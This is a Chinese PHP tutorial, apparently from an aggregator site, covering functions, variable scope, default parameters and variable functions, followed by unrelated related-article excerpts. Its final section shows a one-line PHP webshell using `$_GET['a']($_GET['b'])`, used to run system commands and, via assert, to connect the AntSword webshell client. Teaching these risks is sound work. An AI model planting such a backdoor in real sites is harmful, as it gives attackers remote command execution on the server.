当前位置: 首页 > news >正文

PHP 函数、PHP 简单后门

函数

基本结构

语法结构

function 函数名(形式参数1,形式参数2...){//函数体return 返回值
}

定义并执行一个简单函数

// funtion.phpfunction test(){echo "This is function ".__FUNCTION__;
}test();

函数传参

// function.phpfunction add($x, $y){$sum = $x + $y;return $sum;
}echo add(10, 3);

函数调用

函数的调用,函数名加上小括号

调用过程

function a(){echo "This is func ".__FUNCTION__."<br />";
}function b(){echo __FUNCTION__." is starting...<br />";a();echo __FUNCTION__." is stopped!<br />";
}b();

注意

  • 函数的调用,直接函数名字后面加上() 即可,() 可以看作是运算符;
  • 调用函数之后执行的过程是相对独立的,互不干扰,默认没有联系;
  • 函数执行完毕,返回调用的位置继续向下执行。

变量

范围

  • 局部变量
  • 全局变量
  • 超全局变量

函数内部无法直接获取函数外部的变量

函数外部无法直接获取函数内部的变量

局部变量

在函数内部定义的变量,默认情况下,函数外部不能直接访问函数内部定义的变量。

// function.phpfunction get_name(){$username = "GJL";echo "My name is {$username}";
}
get_name();echo $username;     // Notice: Undefined variable: username

全局变量

全局变量是在脚本中,函数或类的外部定义的变量。

// function.php$username = "GJL";function get_name(){echo "My name is {$username}";
}get_name();     // Notice: Undefined variable: username

注意

  • PHP 语言中,函数内部是没有办法直接调用函数外部的变量,这一点与 JavaScript 和 Python 不同。

  • 解决方式

    • 函数传参

      $username = "GJL";function get_name($username){echo "My name is {$username}";
      }get_name($username);
      
    • global 声明全局变量

      // function.php$username = "GJL";function get_name(){global $username;echo "My name is {$username}";
      }get_name();
      

参数传递

按值传参

默认传参方式。

function add($x, $y){$sum = $x + $y;return $sum;
}echo add(10, 3);

对形参的操作,不会改变实参的值。

默认参数

可以给形式参数设置默认值,直接赋值即可

给函数默认值的时候,全都给

function add($x = 0, $y = 0){$sum = $x + $y;return $sum;
}// echo add();          // 0
// echo add(10, 3);     // 13
echo add(10);           // 10

可变函数

概述

可变函数也叫变量函数动态函数,函数名可以动态设置和调用,变量()。这是PHP 特性之一,这种特性通常会被攻击者所利用

直接把函数名赋值给变量,通过修改变量的值,可以实现动态调用。PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。

<?phpfunction a(){echo "This is function a";
}
function b(){echo "This is function b";
}
$func_name = "a";
$func_name();  // 相当于 a();
// 可以直接使用变量的值充当函数名
// 执行结果,输出 This is function a?>

危险操作

<?phpfunction a(){echo "This is function a";
}function b(){echo "This is function b";
}// a();
// b();$func_name  = ($_GET['func_name']);
$func_name();                   // a();// b();// phpinfo();?>

直接访问显示错误,此时的 func_name 为空

image-20231024105745753

传参,赋予其参数

修改 GET 中传入的参数

image-20231024105933485

将参数名改为 phpinfo 则调用 phponfo() 函数显示 phpinfo

image-20231024110144246

简单的后门

命令执行

  • php 中 system() 函数可以直接执行系统命令

    system("ipconfig");
    
  • 在 php 中写入最简单的后门函数

    <?php$_GET['a']($_GET['b']);?>
    

    访问此 php 页面

    image-20231024110739759

    修改传参,成功执行命令

    image-20231024110854862

蚁剑连接

  • eval 为一种语言结构,而非函数,不能动态调用

  • 可以将 assert 当作 a 的参数,b 的参数为一句话木马,连接蚁剑

    • 蚁剑为 POST 传参,需要将传参方式设置为 $_POST$_REQUEST

      <pre>
      <?php$_GET['a']($_REQUEST['b']);?>
      

  • 蚁剑连接

    输入传参后的 url

    注意

    assert 一次只能传递一个参数,传递多个参数时需要对传参进行编码

    连接密码为 $_REQUEST['b'] 中的 b

    image-20231024172526535

  • 获取 shell

    image-20231024172714987

相关文章:

PHP 函数、PHP 简单后门

函数 基本结构 语法结构 function 函数名(形式参数1,形式参数2...){//函数体return 返回值 }定义并执行一个简单函数 // funtion.phpfunction test(){echo "This is function ".__FUNCTION__; }test();函数传参 // function.phpfunction add($x, $y){$sum $x …...

前端实现菜单按钮级权限

核心思想就是通过登录请求此用户对应的权限菜单&#xff0c;然后跳转首页&#xff0c;触发全局前置导航守卫&#xff0c;在全局导航守卫中通过 addRoute 添加动态路由进去。addRoute有一个需要注意的地方&#xff0c;就是我们添加完动态路由后&#xff0c;地址栏上立即访问添加…...

STM32:TTL串口调试

一.TTL串口概要 TTL只需要两个线就可以完成两个设备之间的双向通信&#xff0c;一个发送电平的I/O称之为TX&#xff0c;与另一个设备的接收I/O口RX相互连接。两设备之间还需要连接地线(GND)&#xff0c;这样两设备就有相同的0V参考电势。 二.TTL串口调试 实现电脑通过STM32发送…...

【Jenkins 安装】

一&#xff1a;安装文件夹准备 在/home/admin 界面下新建三个文件夹&#xff0c;用来安装tomcat、maven 1.打开&#xff0c;/home/admin目录 cd /home/admin 2.新建三个文件夹 mkdir tomcat mkdir maven 二&#xff1a;安装tomcat 1.打开tomcat目录进行tomcat的安装 访问:h…...

JVM——GC垃圾回收器

GC垃圾回收器 JVM在进行GC时&#xff1a;并不是对这三个区域&#xff08;新生区&#xff0c;幸存区&#xff08;from&#xff0c;to&#xff09;&#xff0c;老年区&#xff09;统一回收&#xff0c;大部分时候&#xff0c;回收都是新生区 GC两种类&#xff1a;轻GC&#xff…...

【三维重建-PatchMatchNet复现笔记】

【三维重建-PatchMatchNet复现笔记】 1 突出贡献2 数据集描述3 训练PatchMatchNet3.1 输入参数3.2 制定数据集加载方式 1 突出贡献 在计算机GPU和运行时间受限的情况下&#xff0c;PatchMatchNet测试DTU数据集能以较低GPU内存和较低运行时间&#xff0c;整体误差位列中等&#…...

CSS - 常用属性和布局方式

目录 前言 一、常用属性 1.1、字体相关 1.2、文本相关 1.3、背景相关 1.3.1、背景颜色 1.3.2、背景图片 1.4、圆角边框 二、常用布局相关 2.1、display 2.2、盒子模型 2.2.1、基本概念 2.2.2、border 边框 2.2.3、padding 内边距 2.2.4、margin 外边距 2.3、弹…...

数据结构与算法之矩阵: Leetcode 134. 螺旋矩阵 (Typescript版)

螺旋矩阵 https://leetcode.cn/problems/spiral-matrix/ 描述 给你一个 m 行 n 列的矩阵 matrix &#xff0c;请按照 顺时针螺旋顺序 &#xff0c;返回矩阵中的所有元素。 示例 1 输入&#xff1a;matrix [[1,2,3],[4,5,6],[7,8,9]] 输出&#xff1a;[1,2,3,6,9,8,7,4,5]示…...

LVS+keepalived高可用负载均衡集群

keepalived介绍 keepalived为LVS应运而生的高可用服务。LVS的调度器无法做高可用&#xff0c;于是keepalived这个软件。实现的是调度器的高可用。 但是keepalived不是专门为LVS集群服务的&#xff0c;也可以做其他代理服务器的高可用。 LVS高可用集群的组成 主调度器备调度器&…...

解密Kubernetes:探索开源容器编排工具的内核

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…...

苹果手机怎么设置壁纸?解锁设置壁纸的2种方法!

手机壁纸便是我们常说的屏幕背景图&#xff0c;一张好看的手机壁纸能使我们的心情变得愉悦。这个壁纸可以是风景、美食、喜欢的偶像、自己养的宠物&#xff0c;或者是你的家人、朋友。 拥有特殊含义的照片会更让人想要设置成壁纸。苹果手机怎么设置壁纸&#xff1f;本文将给大…...

解决LOGITECH 罗技驱动 MAC版出现的一些问题汇总!

安装前将之前的安装文件清理干净&#xff01;&#xff01;&#xff01;&#xff01;&#xff01; 罗技驱动最新安装包下载 我的鼠标是G304 1. 驱动安装一直卡在99% 运行官方下载的安装程序&#xff0c;卡住后关掉窗口。 在终端中执行以下命令&#xff1a; sudo /Users/用户名…...

PyQt5入门4——给目标检测算法构建一个简单的界面

PyQt5入门4——给目标检测算法构建一个简单的界面 学习前言要构建怎么样的界面实例使用1、窗口构建a、按钮&#xff1a;获取图片b、Inputs、Outputs文本提示c、Inputs、Outputs图片显示d、箭头显示e、整点祝福 2、主程序运行 全部代码 学习前言 搞搞可视化界面哈&#xff0c;虽…...

Pandas数据分析系列9-数据透视与行列转换

Pandas 数据透视表 当数据量较大时,为了更好的分析数据特征,通常会采用数据透视表。数据透视表是一种对数据进行汇总和分析的工具,通过重新排列和聚合原始数据,可以快速获得更全面的数据洞察。数据透视表在Excel中也是经常使用的一个强大功能,在Pandas模块,其提供了pivot…...

部分背包问题细节(贪心)

有一种情况是&#xff0c;背包可以把金币全部拿走&#xff1a; 如果num小于0则返回值...

windows协议详解之-RPC/SMB/LDAP/LSA/SAM域控协议关系

如果你在windows域控环境中&#xff0c;例如企业的网络中开启wireshark抓包&#xff0c;你一定会遇到一大堆各种各样的协议。不同于互联网服务&#xff08;大多基于HTTP&#xff09;&#xff0c;为了实现域控中各种各样的服务&#xff0c;windows的域控环境中采用了非常多的协议…...

uniapp中 background-image 设置背景图片不展示问题

有问题 <view class"file-picker__box jsz" tap"jszxszUpload(jsz)"></view>.jsz {background-image: url(../../static/example_drive.png); }解决1 <view class"file-picker__box jsz" :style"{ background-image: url(…...

Elasticsearch打分机制

一 例子 xx搜索引擎,就搜索结果本身而言,xx返回了正确的结果。因为返回的结果中,都包含了搜索的关键字。而我们从逻辑上来看,这一堆广告算是咋回事!这个吐槽是从用户的角度出发的。很显然,返回的结果中,尤其是前几条,有时甚至是前几页,都跟我们想要的结果相差深远! …...

【pdf密码】为什么我的PDF文件不能复制文字?

大家现在接触PDF文件越来越多&#xff0c;有的时候在网上下载的PDF文件打开之后&#xff0c;发现选中文字之后无法复制。甚至其他功能也都无法使用&#xff0c;这是怎么回事&#xff1f;该怎么办&#xff1f; 当我们发现文件打开之后&#xff0c;编辑功能无法使用&#xff0c;很…...

vim程序编辑器

最近读书读完感觉没有读一样&#xff0c;所以决定写笔记记录下 vi的使用包括三种模式 一般模式 编辑模式 a&#xff0c;i&#xff0c;o&#xff0c;r&#xff0c;A,I,O,R 用来插入或者替换内容 命令行模式 &#xff1a;wq保存退出&#xff1a;wq!强制保存退出&#xf…...

氢能多能利用调度系统 -NSGA-II多目标优化,实现氢能-电能-交通多能耦合系统的24小时优化调度,包含电解制氢、可再生能源、储氢、掺氢燃气轮机、氢燃料电池和氢电动汽车等关键设备研究(Matlab)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…...

Pixel Aurora Engine惊艳案例:用单句描述生成完整RPG角色设定+立绘+装备图

Pixel Aurora Engine惊艳案例&#xff1a;用单句描述生成完整RPG角色设定立绘装备图 1. 像素极光引擎简介 Pixel Aurora Engine是一款革命性的AI像素艺术生成工具&#xff0c;它将先进的扩散模型技术与复古游戏美学完美融合。这款工具最令人惊叹的能力在于&#xff1a;仅需一…...

AI赋能3D打印:颠覆性技术如何重塑制造业

AI 结合3D打印的论文 目录 AI 结合3D打印的论文 论文1:《LLM-3D Print: Large Language Models To Monitor and Control 3D Printing》 待解决的核心问题 核心创新点 具体解决方法 实验验证与效果 论文2:《AdditiveLLM2: A Multi-modal Large Language Model for Additive M…...

2026经管大洗牌!只会记账/理论已死,再不考这10个证,迟早被AI取代!

2026经管行业变革与核心证书指南随着AI技术的快速发展&#xff0c;传统经管岗位面临巨大挑战。单纯掌握记账或理论知识的从业者可能面临淘汰风险。以下为未来五年内最具价值的10项认证&#xff0c;帮助从业者保持竞争力。CDA数据分析师证书的核心优势CDA数据分析师证书由国际数…...

OpenClaw 实用指南-节假日系统巡检全自动化(下)

前言 在上一篇文章中&#xff0c;我们已详细讲解了节假日系统巡检全自动化的前三个核心部分&#xff0c;分别是&#xff1a;Part1&#xff1a;AI节假日智能判断、Part2&#xff1a;目标服务器稳定连接、Part3&#xff1a;借助“小龙虾”工具批量部署软件&#xff0c;并利用部署…...

测试计划详细说明

一份高质量的测试计划本质上是质量风险的防御蓝图&#xff0c;它要在有限资源和无限质量诉求之间找到平衡点。我将从结构、内容、决策逻辑三个维度展开&#xff0c;并提供一个可直接落地的框架。一、测试计划的核心定位测试计划的本质回答三个问题&#xff1a;测什么&#xff1…...

Codesys软运动控制进阶:用SMC_FreeEncoder为ECAT轴搭建一个“虚拟手轮”调试工具

Codesys软运动控制进阶&#xff1a;用SMC_FreeEncoder为ECAT轴搭建虚拟手轮调试工具 在自动化设备开发周期中&#xff0c;机械安装与电气调试往往存在时间差。当机械部件尚未就位或伺服驱动器临时故障时&#xff0c;如何提前验证运动控制逻辑&#xff1f;传统做法是等待硬件就绪…...

破解土地-生态耦合难题,从数据处理到SCI论文:AI辅助下PLUS-InVEST模型土地利用格局模拟与生态系统服务

做土地利用、生态系统服务、国土空间规划的同学&#xff0c;是不是经常遇到这些问题&#xff1a;PLUS 模型装不上、跑不通、参数看不懂InVEST 产水 / 土壤保持 / 碳储量 / 生境质量数据总是报错ArcGIS 栅格处理、投影转换、重分类一头雾水多情景模拟不会设计&#xff0c;结果不…...

自动化抢票工具:从技术原理到实战部署的全流程解析

自动化抢票工具&#xff1a;从技术原理到实战部署的全流程解析 【免费下载链接】DamaiHelper 大麦网演唱会演出抢票脚本。 项目地址: https://gitcode.com/gh_mirrors/dama/DamaiHelper 在票务销售场景中&#xff0c;人工操作面临三大核心痛点&#xff1a;页面刷新延迟导…...

PipedInputStream和PipedOutputStream的源码分析和使用方法详细分析

一、PipedOutputStream&#xff08;生产者&#xff09;源码——向PipedInputStream&#xff08;消费者&#xff09;中的缓冲区&#xff08;byte[]数组&#xff09;写入字节数据的输出Stream&#xff08;生产者&#xff09;package java.io;import java.io.*;public class Piped…...